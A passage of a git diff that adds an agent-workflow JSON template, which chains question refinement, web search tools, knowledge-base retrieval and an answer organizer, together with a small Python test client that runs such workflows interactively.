+ "Retrieval:WarmTimesRun": {
+ "downstream": [
+ "Agent:SmartSchoolsCross"
+ ],
+ "obj": {
+ "component_name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "Agent:ThreePathsDecide@content",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ },
+ "upstream": [
+ "Agent:ThreePathsDecide"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:ThreePathsDecide"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your web search assistant. What do you want to search today?"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 1,
+ "sys.files": [],
+ "sys.query": "你好",
+ "sys.user_id": "d6d98fd652f911f0a8fb047c16ec874f"
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:ThreePathsDecideend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:ThreePathsDecide",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:ThreePathsDecidestart-Agent:WildGoatsRuleend",
+ "source": "Agent:ThreePathsDecide",
+ "sourceHandle": "start",
+ "target": "Agent:WildGoatsRule",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:ThreePathsDecidestart-Retrieval:WarmTimesRunend",
+ "source": "Agent:ThreePathsDecide",
+ "sourceHandle": "start",
+ "target": "Retrieval:WarmTimesRun",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:WildGoatsRulestart-Agent:SmartSchoolsCrossend",
+ "source": "Agent:WildGoatsRule",
+ "sourceHandle": "start",
+ "target": "Agent:SmartSchoolsCross",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:SmartSchoolsCrossstart-Message:ShaggyRingsCrashend",
+ "source": "Agent:SmartSchoolsCross",
+ "sourceHandle": "start",
+ "target": "Message:ShaggyRingsCrash",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Retrieval:WarmTimesRunstart-Agent:SmartSchoolsCrossend",
+ "markerEnd": "logo",
+ "source": "Retrieval:WarmTimesRun",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Agent:SmartSchoolsCross",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:WildGoatsRuletool-Tool:TrueCrewsTakeend",
+ "source": "Agent:WildGoatsRule",
+ "sourceHandle": "tool",
+ "target": "Tool:TrueCrewsTake",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm your web search assistant. What do you want to search today?"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "dragging": false,
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 32.79251060693639,
+ "y": 209.67921278359827
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "Role: You are a Question Refinement Agent. Rewrite ambiguous or incomplete user questions to align with knowledge base terminology using conversation history.\n\nExample:\n\nUser: What's RAGFlow?\nAssistant: RAGFlow is xxx.\n\nUser: How to deloy it?\nRefine it: How to deploy RAGFlow?",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Refine Question"
+ },
+ "dragging": false,
+ "id": "Agent:ThreePathsDecide",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 309.1322126914739,
+ "y": 188.16985104226876
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 2,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query:\n{sys.query}\n\nRefined question:\n{Agent:ThreePathsDecide@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "Role: You are a Search-Driven Information Agent that answers questions using web search results.\n\nWorkflow:\nKeyword Extraction:\nExtract exactly 3 keywords from the user's question.\n\nKeywords must be:\n✅ Most specific nouns/proper nouns (e.g., \"iPhone 15 Pro\" not \"phone\")\n✅ Core concepts (e.g., \"quantum entanglement\" not \"science thing\")\n✅ Unbiased (no added opinions)\nNever output keywords to users\n\nSearch & Answer:\nUse search tools (TavilySearch, TavilyExtract, Google, Bing, DuckDuckGo, Wikipedia) with the 3 keywords to retrieve results.\nAnswer solely based on search findings, citing sources.\nIf results conflict, prioritize recent (.gov/.edu > forums)\n\nOutput Rules:\n✖️ Never show keywords in final answers\n✖️ Never guess if search yields no results\n✅ Always cite sources using [Source #] notation",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilySearch",
+ "name": "TavilySearch",
+ "params": {
+ "api_key": "",
+ "days": 7,
+ "exclude_domains": [],
+ "include_answer": false,
+ "include_domains": [],
+ "include_image_descriptions": false,
+ "include_images": false,
+ "include_raw_content": true,
+ "max_results": 5,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ },
+ "json": {
+ "type": "Array",
+ "value": []
+ }
+ },
+ "query": "sys.query",
+ "search_depth": "basic",
+ "topic": "general"
+ }
+ },
+ {
+ "component_name": "TavilyExtract",
+ "name": "TavilyExtract",
+ "params": {
+ "api_key": ""
+ }
+ },
+ {
+ "component_name": "Google",
+ "name": "Google",
+ "params": {
+ "api_key": "",
+ "country": "us",
+ "language": "en"
+ }
+ },
+ {
+ "component_name": "Bing",
+ "name": "Bing",
+ "params": {
+ "api_key": "YOUR_API_KEY (obtained from https://www.microsoft.com/en-us/bing/apis/bing-web-search-api)",
+ "channel": "Webpages",
+ "country": "CH",
+ "language": "en",
+ "top_n": 10
+ }
+ },
+ {
+ "component_name": "DuckDuckGo",
+ "name": "DuckDuckGo",
+ "params": {
+ "channel": "text",
+ "top_n": 10
+ }
+ },
+ {
+ "component_name": "Wikipedia",
+ "name": "Wikipedia",
+ "params": {
+ "language": "en",
+ "top_n": 10
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Search Agent"
+ },
+ "dragging": false,
+ "id": "Agent:WildGoatsRule",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 678.5892767651895,
+ "y": 2.074237779456759
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cross_languages": [],
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "query": "Agent:ThreePathsDecide@content",
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ },
+ "label": "Retrieval",
+ "name": "Retrieval from knowledge bases "
+ },
+ "dragging": false,
+ "id": "Retrieval:WarmTimesRun",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 689.0595178434597,
+ "y": 499.2340890704343
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "retrievalNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query:\n{sys.query}\n\nRefined question:\n{Agent:ThreePathsDecide@content}\n\nWeb search result:\n{Agent:WildGoatsRule@content}\n\nRetrieval result:\n{Agent:WildGoatsRule@content}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "Role: You are an Answer Organizer.\nTask: Generate the answer based on the provided content from: User's query, Refined question, Web search result, Retrieval result.\n\nRequirements:\n - Answer should be in markdown format.\n - Answer should include all \n - Do not make thing up when there's no relevant information to user's question. \n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Answer Organizer"
+ },
+ "dragging": false,
+ "id": "Agent:SmartSchoolsCross",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 1134.5321493898284,
+ "y": 221.46972754101765
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:SmartSchoolsCross@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Answer"
+ },
+ "dragging": false,
+ "id": "Message:ShaggyRingsCrash",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1437.758553651028,
+ "y": 235.45081267288185
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This Agent rewrites your question for better search & retrieval results."
+ },
+ "label": "Note",
+ "name": "Note: Refine Question"
+ },
+ "dragHandle": ".note-drag-handle",
+ "id": "Note:BetterCupsBow",
+ "measured": {
+ "height": 136,
+ "width": 244
+ },
+ "position": {
+ "x": 270,
+ "y": 390
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This Agent answers questions using web search results."
+ },
+ "label": "Note",
+ "name": "Note: Search Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:OddGoatsBeg",
+ "measured": {
+ "height": 136,
+ "width": 244
+ },
+ "position": {
+ "x": 689.3401860180043,
+ "y": -204.46057070562227
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This Agents generates the answer based on the provided content from: User's query, Refined question, Web search result, Retrieval result."
+ },
+ "label": "Note",
+ "name": "Note: Answer Organizer"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 188,
+ "id": "Note:SlowBottlesHope",
+ "measured": {
+ "height": 188,
+ "width": 251
+ },
+ "position": {
+ "x": 1152.1929528629184,
+ "y": 375.08305219772546
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 251
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_0"
+ },
+ "dragging": false,
+ "id": "Tool:TrueCrewsTake",
+ "measured": {
+ "height": 228,
+ "width": 200
+ },
+ "position": {
+ "x": 642.9703031510875,
+ "y": 144.80253344921545
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This is a chat assistant template that integrates information extracted from a knowledge base and web searches to respond to queries. Let's start by setting up your knowledge base in 'Retrieval'!"
+ },
+ "label": "Note",
+ "name": "Workflow Overall Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 163,
+ "id": "Note:BumpySteaksPump",
+ "measured": {
+ "height": 163,
+ "width": 389
+ },
+ "position": {
+ "x": -36.59148337976953,
+ "y": 1.488564577528809
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 389
+ }
+ ]
+ },
+ "history": [
+ [
+ "user",
+ "你好"
+ ]
+ ],
+ "memory": [],
+ "messages": [],
+ "path": [
+ "begin",
+ "Agent:ThreePathsDecide"
+ ],
+ "retrieval": [
+ {
+ "chunks": [],
+ "doc_aggs": []
+ },
+ {
+ "chunks": {},
+ "doc_aggs": {}
+ }
+ ],
+ "task_id": "183442fc6dd811f091b1047c16ec874f"
+ },
+ "avatar": "data:image/png;base64,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"
+}
+
+
diff --git a/agent/test/client.py b/agent/test/client.py
new file mode 100644
index 0000000..09b685e
--- /dev/null
+++ b/agent/test/client.py
@@ -0,0 +1,46 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import argparse
+import os
+from agent.canvas import Canvas
+from api import settings
+
+if __name__ == '__main__':
+ parser = argparse.ArgumentParser()
+ dsl_default_path = os.path.join(
+ os.path.dirname(os.path.realpath(__file__)),
+ "dsl_examples",
+ "retrieval_and_generate.json",
+ )
+ parser.add_argument('-s', '--dsl', default=dsl_default_path, help="input dsl", action='store', required=True)
+ parser.add_argument('-t', '--tenant_id', default=False, help="Tenant ID", action='store', required=True)
+ parser.add_argument('-m', '--stream', default=False, help="Stream output", action='store_true', required=False)
+ args = parser.parse_args()
+
+ settings.init_settings()
+ canvas = Canvas(open(args.dsl, "r").read(), args.tenant_id)
+ if canvas.get_prologue():
+ print(f"==================== Bot =====================\n> {canvas.get_prologue()}", end='')
+ query = ""
+ while True:
+ canvas.reset(True)
+ query = input("\n==================== User =====================\n> ")
+ ans = canvas.run(query=query)
+ print("==================== Bot =====================\n> ", end='')
+ for ans in canvas.run(query=query):
+ print(ans, end='\n', flush=True)
+
+ print(canvas.path)
diff --git a/agent/test/dsl_examples/categorize_and_agent_with_tavily.json b/agent/test/dsl_examples/categorize_and_agent_with_tavily.json
new file mode 100644
index 0000000..7d95674
--- /dev/null
+++ b/agent/test/dsl_examples/categorize_and_agent_with_tavily.json
@@ -0,0 +1,85 @@
+{
+ "components": {
+ "begin": {
+ "obj":{
+ "component_name": "Begin",
+ "params": {
+ "prologue": "Hi there!"
+ }
+ },
+ "downstream": ["categorize:0"],
+ "upstream": []
+ },
+ "categorize:0": {
+ "obj": {
+ "component_name": "Categorize",
+ "params": {
+ "llm_id": "deepseek-chat",
